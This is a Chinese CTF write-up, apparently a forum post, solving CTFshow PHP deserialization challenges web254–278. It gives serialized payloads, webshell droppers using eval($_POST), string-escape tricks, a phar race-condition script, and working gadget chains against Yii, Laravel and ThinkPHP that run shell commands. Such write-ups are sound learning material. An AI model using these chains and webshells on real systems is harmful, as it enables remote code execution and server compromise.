-
-
[原创]CTFSHOW反序列化WP
-
发表于: 2021-9-26 22:39 8471
-
web254
直接传payload就行
web255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | highlight_file(__FILE__); include( 'flag.php' ); class ctfShowUser{ public $username = 'xxxxxx' ; public $password = 'xxxxxx' ; public $isVip = false; public function checkVip(){ return $this - >isVip; } public function login($u,$p){ return $this - >username = = = $u&&$this - >password = = = $p; } public function vipOneKeyGetFlag(){ if ($this - >isVip){ global $flag; echo "your flag is " .$flag; } else { echo "no vip, no flag" ; } } } $username = $_GET[ 'username' ]; $password = $_GET[ 'password' ]; if (isset($username) && isset($password)){ $user = unserialize($_COOKIE[ 'user' ]); if ($user - >login($username,$password)){ if ($user - >checkVip()){ $user - >vipOneKeyGetFlag(); } } else { echo "no vip,no flag" ; } } |
cookie传入序列化的值
需要isVip=true
1 2 3 4 5 6 7 8 | <?php class ctfShowUser{ public $username = '1' ; public $password = '2' ; public $isVip = True ; } $c = new ctfShowUser(); echo urlencode(serialize($c)); |
添加cookie后
传入username=1&password=2
即可
web256
需要username
和password
不同
= =看一下255的wp就行
其他都一样
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / error_reporting( 0 ); highlight_file(__FILE__); class ctfShowUser{ private $username = 'xxxxxx' ; private $password = 'xxxxxx' ; private $isVip = false; private $ class = 'info' ; public function __construct(){ $this - > class = new info(); } public function login($u,$p){ return $this - >username = = = $u&&$this - >password = = = $p; } public function __destruct(){ $this - > class - >getInfo(); } } class info{ private $user = 'xxxxxx' ; public function getInfo(){ return $this - >user; } } class backDoor{ private $code; public function getInfo(){ eval ($this - >code); } } $username = $_GET[ 'username' ]; $password = $_GET[ 'password' ]; if (isset($username) && isset($password)){ $user = unserialize($_COOKIE[ 'user' ]); $user - >login($username,$password); } |
看到了
1 2 3 4 5 6 | class backDoor{ private $code; public function getInfo(){ eval ($this - >code); } } |
有命令执行
并且code
参数可控
构造序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php class ctfShowUser{ private $username = '1' ; private $password = '2' ; private $isVip = true; private $ class ; public function __construct(){ $this - > class = new backDoor(); } } class backDoor{ private $code = "system('whoami');" ; } $c = new ctfShowUser(); $b = str_replace( ':11' , ':+11' ,$c); $b = str_replace( ':8' , ':+8' ,$b); echo urlencode(serialize($c)); |
尝试可不可以rce
可以
执行cat flag.php
cat 不可以 替换成 tac试试
web258
加了过滤
索性加一个shell在exp里方便调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php class ctfShowUser{ public $username = '1' ; public $password = '2' ; public $isVip = True ; public $ class ; public function __construct(){ $this - > class = new backDoor(); } } class backDoor{ public $code = 'eval($_POST[1]);' ; } $c = serialize(new ctfShowUser()); $b = str_replace( ':11' , ':+11' ,$c); $b = str_replace( ':8' , ':+8' ,$b); echo urlencode($b); |
web260
只要有ctfshow_i_love_36D
即可
所以直接传
或者随便序列化一个
1 2 | / ?ctfshow = O: 3 : "exp" : 1 :{s: 1 : "p" ;s: 18 : "ctfshow_i_love_36D" ;} / ?ctfshow = ctfshow_i_love_36D |
web261
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ / / 构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用 $this - >username = $u; $this - >password = $p; } public function __wakeup(){ / / unserialize()时会被自动调用 if ($this - >username! = ' ' || $this->password!=' '){ die( 'error' ); } } public function __invoke(){ / / 当尝试以调用函数的方法调用一个对象时,会被自动调用 eval ($this - >code); } public function __sleep(){ / / serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用 $this - >username = ''; $this - >password = ''; } public function __unserialize($data){ $this - >username = $data[ 'username' ]; $this - >password = $data[ 'password' ]; $this - >code = $this - >username.$this - >password; } public function __destruct(){ / / 析构函数当对象被销毁时会被自动调用 if ($this - >code = = 0x36d ){ / / 0x36d = 877 file_put_contents($this - >username, $this - >password); / / file_put_contents } } } unserialize($_GET[ 'vip' ]); |
首先找一下危险函数
file_put_contents
可以写入文件,我们可以利用这里写一个shell
可以利用的魔术方法__invoke()
、__destruct()
1 2 3 4 | public function __destruct(){ / / 析构函数当对象被销毁时会被自动调用 if ($this - >code = = 0x36d ){ / / 0x36d = 877 file_put_contents($this - >username, $this - >password); / / file_put_contents } |
存在弱比较$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877
我们可以用877.php
绕过(其实877a其他也可以,但是我们为了写shell)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php class ctfshowvip{ public $username = '877.php' ; public $password = '<?php eval($_POST[H3]);?>' ; public $code = 0x36d ; public function __invoke(){ eval ($this - >code); } public function __destruct(){ if ($this - >code = = 0x36d ){ file_put_contents($this - >username, $this - >password); } } } $c = new ctfshowvip(); echo serialize($c); |
我们可以本地复现一下,看一下数据流向,更有利于学习
get获取反序列化的值
到__unserialize()
方法依次赋值,然后code对username
和password
拼接
然后跳到__destruct()
方法
这里可以看到成功绕过(弱比较),并且username
作为文件名,password
作为文件内容
这里看到生成了shell文件
整个过程完毕成功写入shell
web262
看起来像字符串逃逸
但是我发现了message.php
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / highlight_file(__FILE__); include( 'flag.php' ); class message{ public $ from ; public $msg; public $to; public $token = 'user' ; public function __construct($f,$m,$t){ $this - > from = $f; $this - >msg = $m; $this - >to = $t; } } if (isset($_COOKIE[ 'msg' ])){ $msg = unserialize(base64_decode($_COOKIE[ 'msg' ])); if ($msg - >token = = 'admin' ){ echo $flag; } } |
这就简洁明了了
看这里足够
1 2 3 4 5 | if (isset($_COOKIE[ 'msg' ])){ $msg = unserialize(base64_decode($_COOKIE[ 'msg' ])); if ($msg - >token = = 'admin' ){ echo $flag; } |
只要token
为admin
即可
所以exp:
1 2 3 4 5 6 7 8 9 | <?php class message{ public $ from ; public $msg; public $to; public $token = 'admin' ; } $m = new message(); echo base64_encode(serialize($m)); |
然后在message.php
中添加cookie值即可
回过去看
我们来研究一下字符逃逸
因为这里
1 | $umsg = str_replace( 'fuck' , 'loveU' , serialize($msg)); |
字符长度不一致,所以导致了字符逃逸
所以我们在t
这个位置构造逃逸即可
我们先拿到正常的序列化的结果
1 | ";s:5:" token ";s:5:" admin";} |
长度为27,也就需要24个fuck
payload:
1 | / ?f = 1 &m = 2 &t = fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck ";s:5:" token ";s:5:" admin";} |
然后访问message.php
即可
web263
emmmm 看了半天没发现什么
扫到了www.zip
看了一下源码是session
反序列化
1 | ini_set( 'session.serialize_handler' , 'php' ); |
所以思路就清晰了
利用session反序列化
写一个shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | class User{ public $username; public $password; public $status; function __construct($username,$password){ $this - >username = $username; $this - >password = $password; } function setStatus($s){ $this - >status = $s; } function __destruct(){ file_put_contents( "log-" .$this - >username, "使用" .$this - >password. "登陆" .($this - >status? "成功" : "失败" ). "----" .date_create() - > format ( 'Y-m-d H:i:s' )); } } |
1 2 3 | function __destruct(){ file_put_contents( "log-" .$this - >username, "使用" .$this - >password. "登陆" .($this - >status? "成功" : "失败" ). "----" .date_create() - > format ( 'Y-m-d H:i:s' )); } |
这里存在file_put_contents
可以写入文件,可以在魔术方法写入webshell(username为文件名,password可以放入shell)
exp:(字符串换行有问题,所以在shell后加一个探针验证)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php session_start(); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this - >username = $username; $this - >password = $password; } function setStatus($s){ $this - >status = $s; } } $a = new User( '1.php' , '<?php eval($_POST[1]);phpinfo();?>' ); echo base64_encode( "|" .serialize($a)); |
在这里写入cookie
然后访问check.php
这里报错不用管他
访问log-1.php
可以看到写入shell成功
具体知识点可以看一下php反序列化漏洞基础
然后蚁剑或者直接执行命令都行
打完收工
web264
emmm
看这里
1 2 3 4 5 6 | if (isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace( 'fuck' , 'loveU' , serialize($msg)); $_SESSION[ 'msg' ] = base64_encode($umsg); echo 'Your message has been sent' ; } |
在这里写入session
所以我们只能用字符逃逸
用web262
的payload即可
1 | / ?f = 1 &m = 2 &t = fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck ";s:5:" token ";s:5:" admin";} |
然后访问message.php
web265
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / error_reporting( 0 ); include( 'flag.php' ); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this - >token = $t; $this - >password = $p; } public function login(){ return $this - >token = = = $this - >password; } } $ctfshow = unserialize($_GET[ 'ctfshow' ]); $ctfshow - >token = md5(mt_rand()); if ($ctfshow - >login()){ echo $flag; } |
看了一下
1 | $ctfshow - >token = md5(mt_rand()); |
不可能
所以应该是绕过这里的判断
1 2 3 | public function login(){ return $this - >token = = = $this - >password; } |
我们可以在
1 | $this - >password = $p; |
加一个引用到token,这样password就等于随机数了(引用的是地址,所以会相等)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this - >token = $t; $this - >password = &$this - >token; } public function login(){ return $this - >token = = = $this - >password; } } $a = new ctfshowAdmin( '123' , '123' ); echo serialize($a); |
payload:
1 | O: 12 : "ctfshowAdmin" : 2 :{s: 5 : "token" ;s: 3 : "123" ;s: 8 : "password" ;R: 2 ;} |
web266
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / highlight_file(__FILE__); include( 'flag.php' ); $cs = file_get_contents( 'php://input' ); class ctfshow{ public $username = 'xxxxxx' ; public $password = 'xxxxxx' ; public function __construct($u,$p){ $this - >username = $u; $this - >password = $p; } public function login(){ return $this - >username = = = $this - >password; } public function __toString(){ return $this - >username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo = @unserialize($cs); if (preg_match( '/ctfshow/' , $cs)){ throw new Exception( "Error $ctfshowo" , 1 ); } |
很明显,绕过报错执行__destruct()
方法
想办法让__destruct()
方法执行
可以利用破环序列化,但是不破坏类名,这样它虽然会抛出异常
但是还是会正常的执行摧毁方法
1 | O: 7 : "ctfshow" : 2 :{s: 8 : "username" ;s: 3 : "123" ;s: 8 : "password" ;s: 3 : "123" ;} |
修改为
1 | O: 7 : "ctfshow" : 2 :{I_am_H3} |
= =不知道为啥直接提交没用
看了其他师傅的wp需要bp抓包提交
web267
emmm
找了半天没发现东东
所以看一下是什么框架
yii框架
想到了yii反序列化漏洞
找一下入口
访问一下
找到了入口
直接exp贴上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php namespace yii\rest { class CreateAction { public $checkAccess; public $ id ; public function __construct() { $this - >checkAccess = 'shell_exec' ; $this - > id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php " ; } } } namespace Faker { use yii\rest\CreateAction; class Generator { protected $formatters; public function __construct() { $this - >formatters[ 'close' ] = [new CreateAction(), 'run' ]; } } } namespace yii\db { use Faker\Generator; class BatchQueryResult { private $_dataReader; public function __construct() { $this - >_dataReader = new Generator; } } } namespace { echo base64_encode(serialize(new yii\db\BatchQueryResult)); } |
省略了中间找路径的步骤,需要外带太麻烦了
访问1.php
shell写入成功
成功拿到flag
web268
换一个链子罢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | <?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this - >checkAccess = $func; $this - > id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this - >writeCallback = [new \yii\rest\IndexAction($func, $param), "run" ]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this - >_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult( 'shell_exec' , "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php " ); echo(base64_encode(serialize($exp))); } |
web269
上一条链子直接通
web270
乌鱼子还是上道题的链子
##web271
Laravel5.7反序列化漏洞
https://blog.csdn.net/zhangchensong168/article/details/104695593/
用exp直接打就行(后续会分析利用链)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | <?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this - >test = $test; / / 一个实例化的类 Illuminate\Auth\GenericUser $this - >app = $app; / / 一个实例化的类 Illuminate\Foundation\Application $this - >command = $command; / / 要执行的php函数 system $this - >parameters = $parameters; / / 要执行的php函数的参数 array( 'id' ) } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this - >default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this - >instances[ 'Illuminate\Contracts\Console\Kernel' ] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array( "hello" = > "world" )); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system' , array( 'cat /flag' )); echo urlencode(serialize($pendingcommand)); } |
web272-273
Laravel5.8反序列化漏洞
这道题是另一个链子
flag在phpinfo里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | <?php namespace Illuminate\Broadcasting{ use Illuminate\Bus\Dispatcher; use Illuminate\Foundation\Console\QueuedCommand; class PendingBroadcast { protected $events; protected $event; public function __construct(){ $this - >events = new Dispatcher(); $this - >event = new QueuedCommand(); } } } namespace Illuminate\Foundation\Console{ use Mockery\Generator\MockDefinition; class QueuedCommand { public $connection; public function __construct(){ $this - >connection = new MockDefinition(); } } } namespace Illuminate\Bus{ use Mockery\Loader\EvalLoader; class Dispatcher { protected $queueResolver; public function __construct(){ $this - >queueResolver = [new EvalLoader(), 'load' ]; } } } namespace Mockery\Loader{ class EvalLoader { } } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct() { $this - >code = "<?php eval(\$_POST[h3]);phpinfo();exit()?>" ; / / 此处是PHP代码 $this - >config = new MockConfiguration(); } } class MockConfiguration { protected $name = "feng" ; } } namespace{ use Illuminate\Broadcasting\PendingBroadcast; echo urlencode(serialize(new PendingBroadcast())); } |
web274
ThinkPHP5.1反序列化漏洞
找一下入口
然后去用exp生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this - >append = [ "lin" = >[ "ctf" , "show" ]]; $this - >data = [ "lin" = >new Request()]; } } class Request { protected $hook = []; protected $ filter = "system" ; / / PHP函数 protected $config = [ / / 表单ajax伪装变量 'var_ajax' = > '_ajax' , ]; function __construct(){ $this - > filter = "system" ; $this - >config = [ "var_ajax" = > 'lin' ]; / / PHP函数的参数 $this - >hook = [ "visible" = >[$this, "isAjax" ]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this - >files = [new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?> |
1 | / ?data = TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6MzoiY3RmIjtpOjE7czo0OiJzaG93Ijt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MzoibGluIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjk7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czozOiJsaW4iO319fX19fQ = = &lin = cat / flag |
web275
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / highlight_file(__FILE__); class filter { public $filename; public $filecontent; public $evilfile = false; public function __construct($f,$fn){ $this - >filename = $f; $this - >filecontent = $fn; } public function checkevil(){ if (preg_match( '/php|\.\./i' , $this - >filename)){ $this - >evilfile = true; } if (preg_match( '/flag/i' , $this - >filecontent)){ $this - >evilfile = true; } return $this - >evilfile; } public function __destruct(){ if ($this - >evilfile){ system( 'rm ' .$this - >filename); } } } if (isset($_GET[ 'fn' ])){ $content = file_get_contents( 'php://input' ); $f = new filter ($_GET[ 'fn' ],$content); if ($f - >checkevil() = = = false){ file_put_contents($_GET[ 'fn' ], $content); copy($_GET[ 'fn' ],md5(mt_rand()). '.txt' ); unlink($_SERVER[ 'DOCUMENT_ROOT' ]. '/' .$_GET[ 'fn' ]); echo 'work done' ; } } else { echo 'where is flag?' ; } |
找一下可控的点
1 2 3 4 5 | public function __destruct(){ if ($this - >evilfile){ system( 'rm ' .$this - >filename); } } |
filename
可控是get获取fn
但是得让
1 2 3 4 5 6 7 8 9 | public function checkevil(){ if (preg_match( '/php|\.\./i' , $this - >filename)){ $this - >evilfile = true; } if (preg_match( '/flag/i' , $this - >filecontent)){ $this - >evilfile = true; } return $this - >evilfile; } |
为true
也就是说需要先传fn=php或者fn=flag
再拼接rce
web276
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | <?php / * # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com * / highlight_file(__FILE__); class filter { public $filename; public $filecontent; public $evilfile = false; public $admin = false; public function __construct($f,$fn){ $this - >filename = $f; $this - >filecontent = $fn; } public function checkevil(){ if (preg_match( '/php|\.\./i' , $this - >filename)){ $this - >evilfile = true; } if (preg_match( '/flag/i' , $this - >filecontent)){ $this - >evilfile = true; } return $this - >evilfile; } public function __destruct(){ if ($this - >evilfile && $this - >admin){ system( 'rm ' .$this - >filename); } } } if (isset($_GET[ 'fn' ])){ $content = file_get_contents( 'php://input' ); $f = new filter ($_GET[ 'fn' ],$content); if ($f - >checkevil() = = = false){ file_put_contents($_GET[ 'fn' ], $content); copy($_GET[ 'fn' ],md5(mt_rand()). '.txt' ); unlink($_SERVER[ 'DOCUMENT_ROOT' ]. '/' .$_GET[ 'fn' ]); echo 'work done' ; } } else { echo 'where is flag?' ; } |
看源码,没有可以执行反序列化的点
而且admin
变量不可控恒为false
1 2 3 4 | public $filename; public $filecontent; public $evilfile = false; public $admin = false; |
所以我们往下看
1 2 3 4 5 6 | if ($f - >checkevil() = = = false){ file_put_contents($_GET[ 'fn' ], $content); copy($_GET[ 'fn' ],md5(mt_rand()). '.txt' ); unlink($_SERVER[ 'DOCUMENT_ROOT' ]. '/' .$_GET[ 'fn' ]); echo 'work done' ; } |
在这里存在一个写入和删除的周期,我们可以尝试竞争
如果unlink
删除方法是phar协议的话,即可满足条件
我们可以先生成一个phar文件
利用模板即可,把想要执行的命令以及admin
赋值为true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <?php class filter { public $filename; public $filecontent; public $evilfile = true; public $admin = true; public function __construct($f = ' ',$fn=' '){ $this - >filename = '1;tac fla?.ph?' ; $this - >filecontent = ''; } } $phar = new Phar( "phar.phar" ); $phar - >startBuffering(); $phar - >setStub( "GIF89a" . "<?php__HALT_COMPILER();?>" ); / / 设置stub,添加gif文件头 $o = new filter (); $phar - >setMetadata($o); / / 将自定义meat - data存入manifest $phar - >addFromString( "test.txt" , "test" ); / / 添加要压缩的文件 $phar - >stopBuffering(); ?> |
但是因为有限制,我们要利用通配符?
绕过限制
然后用python写脚本竞争上传和读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests import time import threading success = False #读取phar包内容 def getPhar(phar): with open (phar, 'rb' ) as p: return p.read() #写入phar包内容 def writePhar(url,data): print ( "[-]writing" ) requests.post(url,data) #触发unlink的phar反序列化 def unlinkPhar(url,data): global success res = requests.post(url,data) if 'ctfshow' in res.text and success is False : print ( "[*]Over!" ) print (res.text) success = True def main(): global success url = 'http://03b133ba-e6be-402c-aaee-76d4355de211.challenge.ctf.show:8080/' phar = getPhar( 'phar.phar' ) while success is False : time.sleep( 1 ) w = threading.Thread(target = writePhar,args = (url + '?fn=p.phar' ,phar)) u = threading.Thread(target = unlinkPhar,args = (url + '?fn=phar://p.phar/test' , '1' )) w.start() u.start() if __name__ = = '__main__' : main() |
执行一下
就能看到我们的做法是正确的
在执行unlink
方法删除之前读取,即可拿到rce的结果,进而拿到flag
web277-278
看源码
可以确定是python的反序列化
https://www.cnblogs.com/abobo/p/8080447.html
需要弹shell
后续我会单独写这一块
赞赏
- 牧云·主机管理助手测评 6654
- [原创]JAVA安全—反射 828
- [原创]CISCN2022-东北赛区半决赛eztp解题思路 13063
- [XCTF]第四期个人能力认证考核个人wp 9679
- [原创]记录一次对某CMS漏洞挖掘 1488